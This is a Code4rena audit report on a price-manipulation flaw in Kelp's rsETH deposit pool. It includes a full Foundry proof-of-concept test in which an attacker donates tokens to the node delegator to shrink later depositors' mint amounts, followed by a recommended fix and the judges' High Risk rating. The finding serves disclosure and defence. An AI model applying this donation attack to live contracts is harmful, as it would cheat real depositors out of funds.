Depositor could be subjected to an inflated valuation of RSETH

[c4-submissions]

Lines of code

https://github.com/PFAhard/2023-11-kelp/blob/670aa2b7748d5a3969881758bd36155d1ce4c4e7/src/LRTDepositPool.sol#L119

Vulnerability details

Impact

Depositors could be subjected to a price manipulation of the RSETH tokens if a malicious actor
donates a large sum of the approved assets (rETH,cbETH or stETH) either to the deposit pool or the node delegator contracts.

Proof of Concept

In Kelp protocol, users are allowed to deposit approved LST tokens to receive an amount of rseth tokens. The amount of rsETH tokens to be minted is inversely proportional to how the oracle contract values its price as shown below.

If the denominator could be artificially inflated by a malicious actor, the depositor would receive a smaller amount of rseth tokens.

function getRsETHAmountToMint(){ ...
    rsethAmountToMint = (amount * lrtOracle.getAssetPrice(asset)) / lrtOracle.getRSETHPrice();
...}

To confirm this please consider the following test labeled PriceManpulation.t.sol. Place this test file in the test folder.
In the setUp function we first deploy and configure all the contracts.
Following which we test the hypothesis where Alice receives significantly less rsETH tokens on her second attempt of depositing assets (reth) into the deposit pool.

Upon Alice's first deposit transaction, initial supply of rsETH is zero, hence the oracle contract returns 1 ether as the price, and she receives the correct amount of minted rseth tokens.

//LRTOracle.sol
        if (rsEthSupply == 0) {
            // console.log("rsEthSupply == 0");
            return 1 ether;
        }

Meanwhile, Bob's an attacker who donates assets to the node delegator contract in order to artificially inflate the price of the rsETH tokens.

In this case, when Alice attempts to deposit the same number of reth tokens in the deposit pool, she consequently receives significantly less rsETH tokens.

// SPDX-License-Identifier: UNLICENSED

pragma solidity 0.8.21;
import { LRTConfigTest, ILRTConfig, LRTConstants, UtilLib } from "./LRTConfigTest.t.sol";
import { NodeDelegator } from "src/NodeDelegator.sol";
import { BaseTest, MockToken } from "./BaseTest.t.sol";
import { LRTConfig, ILRTConfig } from "src/LRTConfig.sol";
import { LRTOracle } from "src/LRTOracle.sol";
import { LRTConstants } from "src/utils/LRTConstants.sol";
import { UtilLib } from "src/utils/UtilLib.sol";
import { TransparentUpgradeableProxy } from "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import { ProxyAdmin } from "@openzeppelin/contracts/proxy/transparent/ProxyAdmin.sol";
import { LRTDepositPool } from "src/LRTDepositPool.sol";
// import { RSETHTest, ILRTConfig, UtilLib, LRTConstants } from "./RSETHTest.t.sol";
import { RSETH } from "src/RSETH.sol";
import { IERC20 } from "@openzeppelin/contracts/interfaces/IERC20.sol";




contract PriceManipulation is BaseTest {

        LRTConfig public lrtConfig;
        LRTOracle public lrtOracle;
        //  LRTOracleMock public lrtOracle; 
        LRTDepositPool public lrtDepositPool;
        NodeDelegator public nodeDel;
        address public rETHAddress;
        address public stETHAddress;
        address public cbETHAddress;
        RSETH public rseth;
        event AssetDepositLimitUpdate(address asset, uint256 depositLimit);
        event RemovedSupportedAsset(address asset);

        address public manager;
        address public rsethMock;



    function setUp() public virtual override(BaseTest) {
        super.setUp();


        manager = makeAddr("manager");
        rsethMock = makeAddr("rsethMock");
        rETHAddress = address(rETH);
        stETHAddress = address(stETH);
        cbETHAddress = address(cbETH);
        //rsETH setup 
        ProxyAdmin proxyAdmin = new ProxyAdmin();

        RSETH tokenImpl = new RSETH();
        TransparentUpgradeableProxy tokenProxy = new TransparentUpgradeableProxy(
            address(tokenImpl),
            address(proxyAdmin),
            ""
        );

        rseth = RSETH(address(tokenProxy));

        //Setup the Config
        LRTConfig lrtConfigImpl = new LRTConfig();
        TransparentUpgradeableProxy lrtConfigProxy = new TransparentUpgradeableProxy(
            address(lrtConfigImpl),
            address(proxyAdmin),
            ""
        );

        lrtConfig = LRTConfig(address(lrtConfigProxy));
        lrtConfig.initialize(admin, address(stETH), address(rETH), address(cbETH), rsethMock);

        //Setup the Oracle 
        LRTOracle lrtOracleImpl = new LRTOracle();
        TransparentUpgradeableProxy lrtOracleProxy = new TransparentUpgradeableProxy(
            address(lrtOracleImpl),
            address(proxyAdmin),
            ""
        );

        lrtOracle = LRTOracle(address(lrtOracleProxy)); //MockOracle doesn't need to be initialized
        lrtOracle.initialize(address(lrtConfig));

        //Setup the depositor pool 
        LRTDepositPool contractImpl = new LRTDepositPool();
        TransparentUpgradeableProxy contractProxy = new TransparentUpgradeableProxy(
            address(contractImpl),
            address(proxyAdmin),
            ""
        );

        lrtDepositPool = LRTDepositPool(address(contractProxy));
        lrtDepositPool.initialize(address(lrtConfig));

        // initialize RSETH. LRTCOnfig is already initialized in RSETHTest
        rseth.initialize(address(admin), address(lrtConfig));

        //setup nodedelegator
        NodeDelegator nodeDelImpl = new NodeDelegator();
        TransparentUpgradeableProxy nodeDelProxy = new TransparentUpgradeableProxy(
            address(nodeDelImpl),
            address(proxyAdmin),
            ""
        );

        nodeDel = NodeDelegator(address(nodeDelProxy));
        nodeDel.initialize(address(lrtConfig));
        address[] memory nodeDelegator = new address[](1);
        nodeDelegator[0] = address(nodeDel);

        vm.startPrank(admin);
        // add rsETH to LRT config
        lrtConfig.setRSETH(address(rseth));
        // add oracle to LRT config
        lrtConfig.setContract(LRTConstants.LRT_ORACLE, address(new LRTOracle()));
        lrtConfig.setContract(LRTConstants.LRT_DEPOSIT_POOL, address(lrtDepositPool));
        // add minter role for rseth to lrtDepositPool
        rseth.grantRole(rseth.MINTER_ROLE(), address(lrtDepositPool));

        //grant manager role
        lrtConfig.grantRole(LRTConstants.MANAGER, manager);

        //Setup node managers 
        lrtDepositPool.updateMaxNodeDelegatorCount(5);

        lrtDepositPool.addNodeDelegatorContractToQueue(nodeDelegator);

        lrtConfig.setContract(LRTConstants.LRT_ORACLE, address(lrtOracle));

        vm.stopPrank();
        //Update the deposit limits for all the assets
    
        vm.startPrank(manager);
        lrtConfig.updateAssetDepositLimit(rETHAddress, 1000 ether);
        lrtConfig.updateAssetDepositLimit(stETHAddress, 1000 ether);
        lrtConfig.updateAssetDepositLimit(cbETHAddress, 1000 ether);
        vm.stopPrank();

    }

    function test_AliceDepositsTokens() external {

        uint256 aliceBalanceBefore = rseth.balanceOf(address(alice));
        assertEq(rETH.balanceOf(alice), 1000 ether);

        //Alice receives a normal amountof rsETH before price manipulation
        vm.startPrank(alice);
        rETH.approve(address(lrtDepositPool), 4 ether);
        uint256 rsETH_MintedBeforeManipulation = lrtDepositPool.depositAsset(rETHAddress, 2 ether);
        uint256 aliceBalanceAfter = rseth.balanceOf(address(alice));
        assertEq(aliceBalanceAfter, 2 ether);
        vm.stopPrank();

        //Bob's an attacker who donates assets to the node delegators directly
        vm.startPrank(bob);
        rETH.transfer(address(nodeDel), 996 ether);
        stETH.transfer(address(nodeDel),1000 ether);
        cbETH.transfer(address(nodeDel),1000 ether);
        vm.stopPrank();

        //Alice receives significantly less rsETH due to the price manipulation by Bob
        vm.startPrank(alice);
        uint256 rsETH_MintedPostManipulation = lrtDepositPool.depositAsset(rETHAddress, 2 ether);
        assertGt(rsETH_MintedBeforeManipulation,rsETH_MintedPostManipulation);

        emit log_named_uint("rsETH minted to Alice before the price manipulation", rsETH_MintedBeforeManipulation);
        emit log_named_uint("rsETH minted to Alice before the price manipulation", rsETH_MintedPostManipulation);

        vm.stopPrank();
    }

}

  rsETH minted to Alice before the price manipulation: 2000000000000000000
  rsETH minted to Alice before the price manipulation: 1333333333333333

Tools Used

Foundry
Manual Analysis

Recommended Mitigation Steps

To avoid the case where a price manipulation could be possible, instead of checking the asset balance of the contract, please consider using state variables, which are only updated in response to a deposit. And using the state variables to confirm the price of the rsETH token.
This would prevent such an attack, as any donation of funds by attackers would have no impact on the minted amount of rsETH tokens.

Assessed type

Oracle

[c4-pre-sort]

raymondfam marked the issue as sufficient quality report

[c4-pre-sort]

raymondfam marked the issue as duplicate of #42

[c4-judge]

fatherGoose1 changed the severity to 3 (High Risk)

[c4-judge]

fatherGoose1 marked the issue as satisfactory